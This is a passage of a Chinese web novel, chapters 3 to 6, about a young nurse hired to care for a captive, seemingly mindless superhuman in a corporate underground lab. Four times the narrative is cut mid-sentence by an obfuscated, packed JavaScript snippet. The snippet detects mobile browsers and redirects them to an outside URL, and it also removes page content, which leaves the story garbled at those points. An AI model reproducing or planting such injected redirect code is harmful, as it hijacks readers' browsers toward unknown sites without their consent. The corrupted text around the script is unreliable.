《论社畜是如何攻略最强boss的》 3. 第 3 章 沈润一听这话有点不对味儿：“陆董，那位病患会攻击人吗？” 陆阔脚步一顿，回过头故作不解地微笑：“你指的是...？” 沈润：“咬人打人什么的。” 陆阔轻舒口气，语气平和：“沈小姐，我向你保证，祂不会咬你，也不会打你。”他岔开话题：“你的日常工作就是照料和陪伴祂，具体的细节等会我会让这里的负责人跟你沟通。” 沈润拍了拍胸口，嘿嘿笑：“不打人就行，那我就放心了，照顾人吗，我很擅长的啦，我小时候就帮家里带堂弟堂妹了。” 她这无知无觉的傻样让陆阔所剩无几的良心都泛起一丝不安，他干笑了声，带着她进入通往地下三层的电梯，沈润这才想起来问：“陆董，那位病患叫什么啊？” 陆阔沉默了一下，这才道：“双流，蚩双流。” 这个酷炫的名字来源其实非常搞笑，因为001被发现的地方叫双流县，而发现他的人是个姓蚩的少数民族，所以按照给文物的起名标准，001的大名就叫蚩双流——换句话说，如果祂的发现地叫腚沟子县大锤县，发现人姓李或者姓王，祂现在的大名应该叫李腚沟子王大锤。 陆阔苦中作乐地在心里吐槽了一句。 沈润呀了声：“好巧呀，我外婆也姓蚩。” 蚩这个姓虽然古怪，但也没多稀奇，有一只少数民族专姓这个，陆阔随意嗯了声，并未把这点小小的巧合放在心上。 ‘叮’一声，电梯门停下。 地下三层只有一间屋子，四面都是电网和监控摄像头，陆阔先和她换上防护服，来到房门前的时候微妙地停顿了一下，才动手刷开了房门，他稍稍侧身，示意沈润跟他一块进去。 入目的居然是个四室一厅的大平层，使用的都是最高端的只能设备，24小时开启，能够最大限度保证整间屋子的干净整洁空气清新，除了没什么家具之外，布置的和正常人家里差不多。 屋里智能窗户很贴心地模拟着户外的景色，因此整间屋子虽然修在地下室，但看起来宽敞明亮，四面采光极好。 陆阔边走边介绍：“这是你今后工作和生活的地方。”他随手指了指第一间卧室：“当然，要等你通过试用期之后才能正式搬进来，现在你只有工作时间才可以在这里。” 沈润的试用期是两个月，这也是考虑到她和001的磨合期。 陆阔带着她走向尽头的主卧，他深吸了口气，拧开主卧的房门，他稍稍侧身：“祂就在里面。” 卧室的灯也是智能调节的，随着两人的进入，光线不断变强，沈润得以看清卧室的全貌。 正中间的是个非常有个科技感的大圆床，床边儿铺了厚厚的羊绒地毯，一道身影背对着他们，他穿着松松垮垮的家居服，盘腿坐在床边儿——虽然身影坐在地上，但依然能看出来他身体比例绝佳，两条腿更是长到没边儿，以至于盘腿的动作都有些费劲。 从背影看，他宽肩窄腰，很明显是个成年男子，但他的身边儿竟然散落了一地的婴幼儿玩具玩具，从乐高积木到侏罗纪拼图，每样玩具上都标注了适用年龄——从0岁到7岁不等。 男人修长如同玉雕的一般的手指握着一个彩色小球，很机械地坐着抛接动作，不夸张地说，沈润九个月大的小侄子都比他会玩，至于其他更为复杂的积木拼图之类的，他连碰都没碰一下。 沈润瞧的愣了下：“这...” “他的这里有一点问题，和正常人不一样。”陆阔指了指脑袋，语焉不详地说：“所以才需要你。” 沈润学护理的时候接触过类似的，一下就明白了——这种情况，他要么是痴呆，要么是智商正常但严重自闭的自闭症，地上那些玩具应该是给他做智商和反应测试用的。 她本来想多嘴问几句，但想了想，自己上个公司伺候过的几个领导比傻 逼还傻逼呢，就这工资还不到太阳伞公司的零头呢，就冲着太阳伞公司的待遇，就算让她伺候智障她都认了。 沈润瞬间释然，管好了自己的小嘴巴。 陆阔对她没有问东问西这点挺满意的，抬手指了指：“你去和他说点什么，简单接触一下，如果他没有排斥反应，试岗就算你通过了，接下来咱们就可以进入正式的试用期。” 沈润挠了挠头：“陆董，他能让人靠近吗？” 陆阔示意她看他手腕，语气淡淡：“放心，他戴着公司最新研发的电子镣铐，瞬间放出的电流就连哥斯拉都承受不住，不用担心你的安全问题。” 这位蚩先生的手腕上右腕上戴着一块纯黑色的，看起来很像运动手表的小玩意儿，沈润舒了口气，仔细理了理衣服。 不管这位蚩先生到底是痴呆还是自闭症，他都是自己未来的领导，她想升职加薪的指望都在眼前这位身上了！ 很想上进的沈润眼神火热，挤出一个谄媚的笑脸儿，小碎步走过去九十度鞠躬：“蚩哥好，我是小沈，我刚来公司就听说您的大名了，今日一见果然名不虚传，以后我一定跟紧您的步伐，好好学习认真工作，争取为公司做出贡献！” 这话还是她从那本儿《职场心眼子》上死记硬背下来的，书上说只要能背下这些话术，以后在职场上绝对能所向披靡！ 说完这番话，沈润自我感觉相当良好，等着领导被自己迷得七荤八素。 ‘领导’仍旧保持着坐在地上的姿势，低垂着脑袋，卷曲稍长的头发遮住眉眼，让人看不清神色。 陆阔：“...” 这都什么乱七八糟的。 他正要呵斥，就见001直起身子，猝不及防地，他倾身探到了沈润面前。 他的动作极快，沈润甚至没来得及反应，他就突破了安全距离，冰凉的吐息在她脖颈间流窜。 从第三视角看，两人的姿态十分暧昧，001的整张脸几乎埋在她的颈窝里，仿佛一对儿交颈的爱侣。 但作为当事人的沈润完全感受不到分毫的暧昧气息，未来领导实在太有压迫感，她一动不敢动，甚至不敢多看一眼。 他的鼻尖沿着她的颈动脉若有似无地滑动，只要他张一张嘴，就能轻而易举地咬断她的脖子。 像野兽一样，他不断地嗅闻嗅闻嗅闻...粘稠的吐息急促地，连续地，剧烈地喷洒在她的肌肤上，仿佛要从她的气息里分辨什么。 陆阔脸色微变，手指已经搭在了电击按钮上，在迟疑着要不要按下去。 幸好，001的失常持续了不到五秒，他很快恢复正常，坐回原位，重新抓握起那只彩色皮球，只是动作由抛接变成了掌握，整只皮球被他牢牢地攥在了手里。 ——没有人注意到这个微小的改变。 沈润吓了一跳，连未来领导长什么样都没顾得上看，一溜烟儿跑回陆阔身后：“陆董，这这这...” 陆阔安抚：“没事的。”他思考了一下001刚才的行为：“他具有一定的动物性，应该是想分辨你的气味 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15099042|163752||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” 沈润愣了下，还想再问，陆阔再次岔开话题：“从刚才的表现看...”他往001那里扫了眼：“祂对你应该并不排斥，我已经给白组长发了消息，她是这个项目的主要负责人，接下来将由她带你熟悉工作流程。” 他话才说完，白组长已经走了进来，沈润被这么一打岔，刚才想要问什么也忘了，老老实实被白组长带走。 等屋里彻底安静下来，陆阔才绕过大床，走到001面前，凝视着这张可以媲美神明，足以让亿万人为之癫狂的美丽面容。 ——有些话，他刚才没有对沈润说尽。 001并不是智商低或者脑子出了问题，祂是纯粹的没有人的智商。 之前公司已经对祂做过一系列测试，可以说祂除了有一副人类的皮囊，什么认知能力，语言沟通能力，工具和技术使用能力，道德情感，自我意识，独立思考的能力等等都不存在，祂是一个纯粹的畜生，智商很低很低，就跟人类豢养的猫猫狗狗差不多，也不具备智商进化的可能性。 只要在感受到他人有杀害自己意图的时候，祂才会本能地用祂那强大到仿佛来自宇宙的能力进行反击，其余的时候，他几乎是无害的——这也是陆阔有把握启动plan b的原因。 比起父亲的销毁计划，陆阔更想做的是驯化，让祂变成自己手里最锋利的一把刀，自己身边最忠诚的一条狗，祂那可怕的，远超s级的能力可以为自己所用。 至于沈润的作用，大概就类似于人类的保姆，负责陪伴，玩乐，投喂等等工作，必要的时候还需要她帮祂清洗身体——总之跟铲屎官差不多。 ——可以说，她的安全是建立在001完全没有人的智商，也没有记仇能力的前提下，如果001一旦有人的意识，她估计死的比她的七个前辈还要惨。 陆阔这么做，是为了让祂慢慢适应和人类接触，等祂适应之后，陆阔会亲自接手祂，培养祂的忠诚度。 几千年前，人类可以成功把狼驯化成忠诚的狗，那他陆阔照样可以把这只怪物驯化成功。 太阳伞公司虽然声名在外，但因为异能者的加入，内部已经分出了好几个派系，更别说外界还有政府的制衡和打压，只要彻底掌握了001，就等于手握核威慑，不，甚至比那个还要强大。 陆阔不由勾了勾唇。 他目光从001美丽到像一场梦的面容上掠过，不误恶意地想，001如果有意识的话应该感激他才对，如果祂这样的流落在外，被猥亵被侵犯都算是小事儿了，保不齐会遭遇到什么——毕竟只要别人不想着杀祂，祂就没有丝毫攻击性。 陆阔为自己的念头怔了下。 这些日子不知道是不是压力太大，他每次靠近001，总是忍不住生出一些惊人的恶念，通常都是死亡，暴戾和...性。 可他的取向明明是正常的。 幸好陆阔个人意志极为强大，立马收敛心神，毫不犹豫地出了屋子。 “应该想法让Q他们查查001的异能到底是什么。” 陆阔边思忖边离开了地下室。 室外的气候变幻，这会儿已经下起了淅淅沥沥的小雨，模拟窗的景色也跟着黯淡下来。 浮光掠影间，001的映在窗上的面容渐渐模糊。 祂的唇角勾起了一个浅淡的，意味不明的弧度。 那弧度转瞬即逝，仿佛只是光影交错间的一点幻象。 无人觉察。 4. 第 4 章 负责基地的组长叫白淼，三十岁上下，五官秀丽周正，但是白大褂下穿着半旧拖鞋搭配磨出毛边儿的睡裤——典型的上班恶心穿搭。 不光是穿搭，就连她的脸上也透漏出一股‘上班上的太久好想死’的气息，不过也能理解，任谁被迫照顾这种能随时毁灭地球的超级怪物心情都好不起来。 ——值得一提的是，她是个B级异能者。 不光是她，负责监察照管001的这一组人全是异能者，只不过等级都比较低，大多都是D级C级，她这个B级是组里面异能等级最高的。 他们这些异能者在进化之前就在太阳伞公司上班，基本上都是科研或者技术岗，跟超英电影里呼风唤雨的异能者不同，他们进化的异能基本都是辅助异能，几乎不能用于战斗，除了听觉嗅觉体质体能有所增强之外，其他方面和普通人区别不大，为了养家糊口只能继续当社畜。 绝大多数异能者进化的方向都和他们进化之前的职业或者某种执念有关，就譬如白淼，她进化之前是个心理医生，所以她进化后的异能是能感知到他人的情绪变化，读取他人的想法等等。 同样的，她进化带来的基因病也跟心理有关，她同时获得了抑郁躁狂焦虑失眠脱发等多项buff，每天晚上只能靠着公司提供的治疗药物入睡，如果不是有药物压制，她现在肯定已经崩溃自杀了——这也是他们这帮人为什么愿意冒着生命危险继续留在这儿的原因。 同样的，也是因为他们实力比较弱，没什么战斗能力，所以才能在001手底下苟命。 当然，那种能呼风唤雨本领逆天的强系异能者不是没有——之前被001搞死的那七个就是。 想到这儿，白淼不禁看了眼沈润。 由于PLAN B计划是绝密的，除了陆家父子之外，还没有人知道PLAN B的详情，虽然陆阔说着让沈润过来照顾001，却没告知他们关于沈润的任何信息，但白淼和组员显然不会信这里头没点猫腻。 所以这个沈润到底是什么来头？她的异能是什么样儿的？是什么等级？超过S了吗？陆董还想对001干什么？打压？驯服？攻击？杀戮？ 虽然从她身上没有察觉到异能波动，看起来就是个普通人，但是异能者里具有隐藏伪装技能的也不少——当然了，还有一种可能，就是沈润的等级远超过她。 白淼不着痕迹地收回目光，脚步不停：“基地已经逛的差不多了，总之整个基地就是服务于001...唔，这里面的监控和仪器都很齐全，你每天要做的事就是为他检查健康，准备食物，投喂，做一些行为训练，负责祂本身和祂所在场地的清洁和卫生等等，听起来不难，但这其中涉及到的琐碎活儿还挺多的，你大概兼任了保洁保姆护士等多项职责，希望你能坚持得住。” 她话里微微带刺，故意把任务说的琐碎繁杂，又若有似无瞥了沈润一眼，刺激她的反应——绝大多数异能者心态早已脱离了普通人，等级越高这种傲慢就越明显，她就不信沈润是专门为了给001端茶倒水来的。 《职场心眼子》说过，领导会故意在下属面前夸大工作难度，测试员工的忠诚度，沈润抓住机会，立马跟组长表忠心：“白姐你放心，我来这儿就是干这个的，我不怕苦不怕累，保证好好完成任务。” 白淼：“...” 她本来想探探沈润的底儿，没想到她回答的这么滴水不漏，白淼不由提了几分小心。 她低头看了眼腕表：“算了，我先带你去吃个午饭，顺便认认食堂。” 食堂离基地有一段距离，在整个科技园的西边儿，是一栋很有设计感的三层建筑，白淼带着她刷卡走出基地，边走边说：“这里是中餐食堂，比较常见的粤菜川菜鲁菜等等这里都有，额外还有烧烤火锅和各种小吃供你选择。” 她顿了顿，又道：“除了正餐之外，下午三点左右还有下午茶，甜点是公司专门请的杭州师父做的，饮品有咖啡清茶和奶茶，都是从专门的店里订购的，晚上的宵夜和早上的早茶也都是请了专门的粤菜师父做的，但这些都有时限，你如果喜欢的话记得按时来。” 他们来的比较晚了，食堂没什么人，菜品也撤了一半儿，但即便如此，还是能看到什么咖喱鸡翅，白灼大虾，炙烤三文鱼，清蒸螃蟹诱人地混在餐盘里。 跟前外包公司中午发的一素盒饭相比，沈润仿佛来到了天堂，她双眼放光，抄起餐盘一路扫荡过去。 ——她这些日子为了省钱天天白粥配榨菜，唯一一顿改善生活的就是昨天买的一斤半鸡叉骨和三根淀粉肠，身体已经多次发出健康预警，整个人在营养不良的边缘徘徊，在食堂师父震撼的目光中，她扫荡了半只烧鹅五个大螃蟹三百克三文鱼以及其他鸡鸭鱼肉若干。 白淼好像胃口不怎么好的样子，托盘上就放了一碗白粥和一碟醋拌黄瓜。 俩人落座之后，齐齐被对方的餐盘震惊到了。 看着她埋头苦吃的样子，白淼的心情很复杂——自从001出事之后，他们小组成员多多少少得了一定的心理疾病，她自己就暴瘦了十五斤。 要来近距离伺候001还能这么有胃口，要不是时候不对，白淼都想竖起大拇指夸一句艺高人胆大了——这至少是S级甚至传说中S级以上的强者，不然绝对做不到这么云淡风轻，看人家这样子跟来度假的差不多。 吃完饭，沈润今天的任务就到此为止，她欢欢喜喜地又打包了几块鸳鸯蛋挞和冰淇淋泡芙，白淼保持着震撼的心情，亲自把她送到了科技园外。 等人走了之后，白淼七拐八拐，来到单人的私密休息室，小心挽起袖口。 她手腕上有一条血红色的细线，似乎和脉动相连，直抵心脏。 她虚空画了一个奇特的符号，手腕上闭合的红色细线忽然上下打开，里面是一双布满血丝的眼睛，正一眨不眨地直视着她，瞳孔深处好像无尽的深渊。 她强忍着身体被植入异物的不适感，恭恭敬敬地道：“您都看到了吧？” 眼球轻轻眨动了一下。 白淼松了口气，用异能把方才和沈润接触的画面一帧一帧传输 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15099043|163752||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过去，到最后，她加入了自己的主观感受。 ——心机深沉，滴水不漏，疑似实力强大，有可能是超越s级的异能者。 目的...不明。 基地卧室里，陆阔前脚离开，001就仿佛接收到什么，微微抬头。 很快，祂唇角隐蔽地勾了下。 ...... 沈润带着打包好的小甜点来到科技园门口，正好陆阔开车来接她回去，Plan B启动的还算顺利，他看起来心情不错，主动询问沈润：“你感觉怎么样？” 沈润捧着装甜点的袋子，虔诚地道：“只要您肯收我，我愿意在这儿干到死。” 朝九晚五周休两天薪水过人六险一金节假日福利齐全，最关键还包吃包住，吃住环境都是超一流的，她要是再说不好那真有点不识抬举了。 她是个挺容易满足的人，现在这样就挺好，幸福感爆棚。 老实人就是这点儿好，或许不够聪明，但起码省心，陆阔轻笑了声：“我也很期待你的加入。” 他沉吟了一下：“对了，你对和‘病患’进一步亲密接触怎么看？”他见沈润面露疑惑，随意扯了个理由：“这是为了加快祂的社会化进程，帮助他更好的治疗。” 他不会让沈润照料001太久，也担心沈润会起什么歪心，所以他并不打算告知沈润这个普通人001的能力，而001研究组里有几个异能者是其他股东派来的，他对他们不够信任，所以两头他都没把话说全，只是委婉地通知组里人不要在沈润面前乱说话，甚至任由他们误会沈润有可能是个异能强者——大不了等几个月之后想个借口把沈润彻底调到其他岗位。 在驯服001这件事儿上他也是摸着石头过河，他收集了大量人类驯化野兽的资料，很多饲养员会刻意跟猛兽培养感情，就拿熊猫饲养员来说，他们会有意地跟熊猫亲密互动，为熊猫们丰容，搂抱抚摸亲吻都是很常见的互动行为。 就比如之前有一条很火的视频，危险期的待产母熊猫痛苦地趴靠在栏杆边儿，女饲养员为了安抚它，伸进去一只手臂让它搂抱，母熊猫也小心地抱着她的手臂，脑袋轻轻靠在她的肩头，充满着信赖和依靠。 ——如果001和人类的信任度能达到这种程度的话，那Plan b的成功概率就会大幅度提升。 沈润表情疑惑：“亲密互动？” 陆阔从心里就没把001当人看，想着之前研究的饲养熊猫的资料，随口道：“搂抱揉捏抚摸亲吻...之类的。” 沈润：“？？？” 她一向是嘴比脑子快：“不是陆董，不是让我来当保姆的吗？咋还干上童养媳的活儿了？” 她虽然缺钱，但人还是有底线滴，一脸正色：“这是新社会啊陆董，咱们不能搞旧社会那一套，我卖艺不卖身的，再缺钱我也...” 她震惊到开始胡说八道，陆阔：“...每个月给你加薪一万。” 沈润：“...我也不是不能商量。” 穷鬼沈润，再次向金钱势力低头。 5.第 5 章 沈润可是Plan b的重要环节之一，虽然陆阔等会儿还有要事，不过还是寻摸着把沈润放到最近的地铁口，这才驱车离去。 受电视剧荼毒，沈润还以为有钱人都是动不动甩人嘴巴子，拿出五百万让人滚蛋的那种，没想到陆董那么有钱人还那么善良，白淼组长也是和蔼亲切关心下属，她以后要照顾的蚩哥也是平易近人，她简直未来可期。 这世上还是好人多啊！ 沈润回到老破小出租屋的时候天已经完全黑了，昨天还剩了半斤鸡叉骨和一根淀粉肠，她怕费电，也没舍得开微波炉热一下，就着从园区带回来的甜品对付了晚饭。 她心情莫名亢奋，总想跟人分享一下这件天大好事儿，但考虑到自己还在实习期，她就没跟家里人说，先在舍友发了条找到新工作的消息，又郑重其事地翻出一个备注名叫‘许敬文’的微信。 “学长，我找到新工作了！【墨镜】” 许敬文是太阳伞公司的正式员工，之前来外包公司给他们做过培训，两人聊过之后发现本科上的居然是同一所大学，不过他靠着自己的努力考上了985研究生，这才得以成功入职太阳伞。 大概是因为同校的原因，许学长对她挺照顾，经常帮她解答工作方面的问题，时不时给她点杯奶茶送点零食——可以说是她工作之后遇到过对她最好的人了，有时候还会有一些越界的暧昧举动，比如摸她的头发，捏她的脸之类的，但每次沈润问他这些举动背后含义，总被他四两拨千斤地绕开了。 这些日子许学长给她发消息约她晚上出去玩，但她一直没找到正经工作，觉得怪没面子的，就找了各种理由拒绝，许学长也再没给她发过消息。 她现在找到工作了，又和许学长是同一家公司，当然应该和对方说一声。 不过她现在还没正式入职，所以就暂时没说自己进了太阳伞的事儿，等能顺利入职了再给他一个惊喜。 沈润捧着手机眼巴巴等了会儿，聊天框终于弹出新的回复“加油哦，好好干！” 他也没问沈润在哪家公司入职的，左不过一些三流小企业，又回了一句“有空出来喝一杯。” 沈润咧嘴笑了笑，回了个‘好’，心满意足地进入了梦乡。 正式上班第一天，沈润特地早起了一个小时收拾护理用具，强迫症地把它们分门别类地整理好，又整整齐齐塞到包里，换了一身鲜亮的黄色冲锋衣，斗志昂扬地出发去上班儿。 白淼就在基地门口等着她，目光在她的黄色冲锋衣上停留了三秒，嘴角微抽：“走吧，今天人都到齐了，先带你见见组里的人。” 她刷开办公室大门，就见所有人统一上身白大褂，下身穿着毛边裤子配拖鞋，就连脸上半死不活的表情都一模一样，沈润走进去就好像一群章鱼哥里面混入了海绵宝宝。 沈润：“...” 她昨天见白淼那副打扮还以为是她个人风格呢，原来是整体特色啊。 白淼挨个为她介绍了一下同事和职位，又递出两本手册：“这是《公司行为规范》和《公司奖惩制度》，事关你的工作和薪资，我建议你认真看完并且背过。” 她又取出一份清单：“这是你今天的工作流程。” 沈润边接边问：“今天的？每天的工作流程不一样吗？”她大略扫了眼，第一天是喂食清洁丰荣训练之类的活儿，不算很复杂。 白淼点了点头：“每天会根据情况调整，但基础任务就是这些，九点你就该开始正式上班儿了。”她看了眼时间：“快到点了，你跟我去一层的小厨房把备餐端过去。” 地下一层整个都是厨房，而且只负责001的餐食，这里的所有菜肴全都是变异动植物做成的，这些进化后的动植物在萃取加工之后，能给人体带来不少好处，搭配得当的话还能帮助治疗异能者的基因病——太阳伞公司在南美有个专门种植豢养这些动植物的超大园林。 沈润一走进去就闻到股从来没闻到过的果香，白淼指了指桌上放着的餐盘：“好了，你端去给00...给蚩双流吧。”——陆阔才制定了新规矩，为了提高001对姓名的认可度，从今天起组里所有人必须称呼他的名字。 餐盘上放着三个蛋白能量棒和一个大果子，沈润十分有眼力价儿地端起来，又问：“组长，你不陪我一起吗？” 白淼眸光微闪了一下，若有似无地打量她一眼：“不了，除了你，我们都不能跟蚩先生距离太近。” 她很快岔开话题：“我们有我们的工作要完成。”她一指电梯门：“好了，去三层吧，蚩先生在那里等着你。” 沈润果然不再多问，端着餐盘去了三层的那间大平层。 蚩双流还是一身宽松的亚麻色休闲服，没有像昨天一样待在卧室，而是靠坐在客厅的落地窗边，仰头看着窗外的模拟风景。 沈润小心把托盘放到餐桌上，尽量放轻声音：“蚩哥，你的饭我给你端来了，该吃早饭了。” 过了十秒左右，蚩双流终于转过头，目光穿云破雾一般，向她徐徐投来。 沈润眼前生花，有种被冲击的眩晕感。 足足半分钟，她才找回自己的声音，有点语无伦次地道：“蚩，蚩哥，那个饭...你吃。” 现在是新媒体时代，全球最顶级的俊男美女她都能在互联网上见到，但从来没有哪张脸给她这么强的冲击感，简直好看的和普通人不是同一个物种。 真的有人类可以长成这样吗？ 蚩双流一动不动。 他仿佛没有听懂她的话，只是静默地看向她。 两人这么大眼瞪小眼也不行，沈润犹豫了下，端起托盘向他走过去，小心把托盘放到他手边儿：“蚩哥，吃饭。” 她指了指蚩双流的嘴巴，又指了指餐盘，做了一个张嘴吃的动作。 蚩双流稍稍侧头，瞧了她一会儿，似乎明白了她的意思，手掌抓握起一根蛋白棒，送到嘴边儿不紧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15110184|163752||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不慢地咀嚼起来。 据说这蛋白棒是厨房新研究的，也不知道是什么食材，黏糊糊地在嘴上沾了一圈，他吃完蛋白棒又开始吃果子，果不其然，唇上又沾了些许汁液，有几滴还滴在了亚麻色的休闲服上。 沈润抿紧嘴唇，手指松了又紧，表情痛苦。 终于，她按捺不住，猛地站起身，大步走向蚩双流。 ...... 因为今天是沈润第一天上班儿，白淼怕出什么乱子，带着监控组的员工齐齐守在电脑监控前。 几人看到沈润的异动，齐刷刷地变了脸色。 ——蚩双流有一个很特殊的能力，所有靠近祂的人，都会克制不住地生出恶念，靠近的时间越长，恶念就会越多。 本来大家都是普通人，心里有贪嗔痴爱恨再正常不过，但蚩双流就能把当下的欲望无限放大。 当欲望不断扩大膨胀之后，人就会不受控制地产生毁灭和杀戮的冲动，而蚩双流还有一个感受到威胁和杀机之后就会把那人悄无声息抹杀掉的被动技能，简直是恶魔一样的能力。 ——就是因为他这套组合技，之前的几个异能者都没能逃掉，实力越强就死的越快。 举个例子，在第五次的时候，老陆董花重金聘请了一个强A的异能者试图强行镇压蚩双流，没想到那家伙是个多国通缉的奸杀犯，专挑一些年轻美丽的少男少女下手，但是因为这家伙实力太强，又有易容的技能，几年了都没能成功把他缉拿归案。 这人一见到蚩双流就眼睛都直了，毫不犹豫地放出绝杀技能‘闪电之刃’，准备对祂实施暴力侵犯，没想到他的念头刚起来，心脏直接爆开。 ——这也是最严重的一次事故，有三个组员也受到波及，在病房里挣扎了几天就撒手人寰了。 沈润的表情明显不正常，显然是被蚩双流的能力影响，激发出了某种欲望。 白淼脸色大变，厉声道：“快按蓝键制止，不要让她靠近蚩双流！！” 该死，就算她真的是S+的异能强者也不一定能打得过蚩双流。 那个强A的前车之鉴历历在目，沈润可千万不要蠢到控制不住做出什么攻击行为，他们不想跟着一起死啊啊啊！！ 没等组员按下蓝键，沈润就头脑发热冲到蚩双流面前：“蚩哥...” 她表情微微扭曲：“我要给你擦个嘴！” 看着蚩双流嘴角的食物残渣，她内心的冲动像火山一样不断喷发，独属于强迫症的痛苦一波一波冲击着神经。 她为了防止蚩双流咬人，她从背包里翻出一个宠物用的超大号伊丽莎白圈儿戴到蚩双流脖子上，又十分专业地套上防咬手套，抽出面巾纸给他擦嘴。 一套动作犹如行云流水，半秒都没耽搁，一看就是专业的。 蚩双流这会儿看起来就像一朵大号的喇叭花儿。 白淼和其他人：“？？？？？？？？” 不是，她有病吧？ 6.第 6 章 沈润不愧是专业护理，一边擦嘴一边哄人：“蚩哥你别紧张，我给你擦干净就没事了。” 隔着厚厚的防咬手套，她纤细的手指沿着唇线描摹了一圈儿，蚩双流的眼神极细微地波动了一下，快得就连情绪检测器都没捕捉到。 美人就是美人，就连嘴巴都长得这么漂亮，尤其是上唇峰，是一个精巧红润的‘M’型，就连唇珠都生的饱满诱人。 沈润给他擦完嘴，目光微微停顿了下，视线落到他唇上。 她停顿了大约三秒，嘴巴动了动，欲言又止，最终还是逼着自己挪开视线。 她又抽出湿巾，麻利地帮蚩双流擦了擦前襟和袖口，又勤勤恳恳地清理了餐盘和地板上的食物残渣，心里终于舒坦多了。 做完这些，她绕到蚩双流身后，踮脚帮他解开伊丽莎白圈，等伊丽莎白圈解开之后，她才发现蚩双流的脖子上居然扣着一个项圈。 这项圈通体纯黑，上面长满细密的鳞片，幽幽地泛着暗光，也不知道是什么动物的皮做的，连接处的钩带似乎是用青铜制成，雕成龙头造型，上面刻满了铭文。 项圈整体造型古朴陈旧，上面铭文流转，瞧多了让人心里怪不舒服的，而且沈润总觉得有点眼熟，好像在哪见过类似的玩意儿。 它就这么绑缚在蚩双流的脖子上，几乎勒进皮肉，因为戴的太久，它就跟长在肉里似的——沈润瞧着都要呼吸困难了，想不出来人戴在脖子上得有多难受。 他手腕上有电子手铐，屋里那么多监控，这个项圈又是干嘛用的？ 蚩双流肯定不会回答她的问题，沈润好奇地瞧了几眼，发消息问白淼：“组长，蚩哥脖子上的项圈是干嘛的？” 他脖子上的项圈从他被人发现的时候就戴着了，几年后，随着蚩双流再度苏醒，公司也曾用尽各种手段研究过他脖子上自带的这个项圈——但无论是科技还是异能，都没能帮他们打开这个项圈。 因为自身异能的关系，白淼一直有远超于人的灵性直觉，她总觉着蚩双流脖子上的项圈仿佛某种禁制或者说是封印，打开的后果谁都无法承担，经过她的劝说，董事会那边儿也放弃了对项圈的研究，把注意力投向蚩双流本人。 看到沈润的问题，白淼深思片刻，谨慎回答：“不用管它。” 虽然她这么说了，但沈润瞧着那勒得死紧的项圈还是怪不得劲儿的，项圈底下的一圈皮肉都被勒成了青紫色，你说就这么个勒法，再过俩月，蚩双流脖子底下那一圈肉不得坏死啊。 拿钱办事，她的任务是照顾蚩双流，那就得把人照顾好了，沈润从包里翻出几块软乎乎的医用棉花，一点点塞进项圈里面。 垫完之后，沈润随口问：“蚩哥，你感觉舒服点了吗？” 蚩双流撩起眼皮，第一次把目光凝聚到某个人身上。 他当然不会回答，倒是监控屏幕前的白淼有点意外。 蚩双流被带到太阳伞公司都多少年了，还是第一次有人关心他这个破项圈戴的舒服不舒服。 这个不知道什么来路的沈润到底想干什么？想讨好这个怪物让他放松警惕？还是为了达到目的先取信于他？ 不过这位的手段倒是比前几个高明多了，不像之前那些战斗系强者，一来就把杀气写在了脸上。 忙活完这些，也差不多到了吃饭的点儿，沈润和蚩双流打了个招呼，刷开密码去食堂吃午饭了。 她的上班时间是早上八点半到晚上八点，虽然工作时间有点长，但中午近三个小时吃饭+午休时间，足够她养精蓄锐了。 大平层的头一间卧室就是给她准备的，她实习期过了之后还得搬来这儿住，里面床单被褥枕头一应俱全，布置得十分温馨舒适，她随手把打包的甜点放到桌上，喜滋滋地脱了鞋上床午睡。 不一会儿就进入了梦乡。 ...... 与此同时，白淼的手臂忽然灼痛起来——她收到了一道指令。 她若无其事地拉了拉袖口，转向监控组的其他三个同事：“你们去休息吧，这儿有我一个人就行了。” “白姐，你一个人在这儿盯着海绵宝宝能成吗？要不我留下来帮你？” 这外号还真是生动形象...白淼干笑了声，尽量镇定：“...没事，她在午休呢。” 这个逼班当然是能少上一秒是一秒，其他人也不再多话，纷纷起身走了出去，很快，偌大的监控室就只剩下白淼一个人。 白淼闭上眼，用异能感知了一下，确定附近没有其他人在，她手指轻轻覆到手臂的那只眼睛上，回传了指令完成的消息。 通过监控，白淼看到蚩双流拧开第一间卧室的门把手，静静站在沈润的床边儿。 这间卧室的窗帘被拉上，光线昏沉黯淡，他仿佛一头蛰伏在黑暗中的野兽。 他手指虚点了下沈润的眉心，尝试侵入她最私密的梦境。 ——被科学仪器和诸多异能者判定为没有自 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 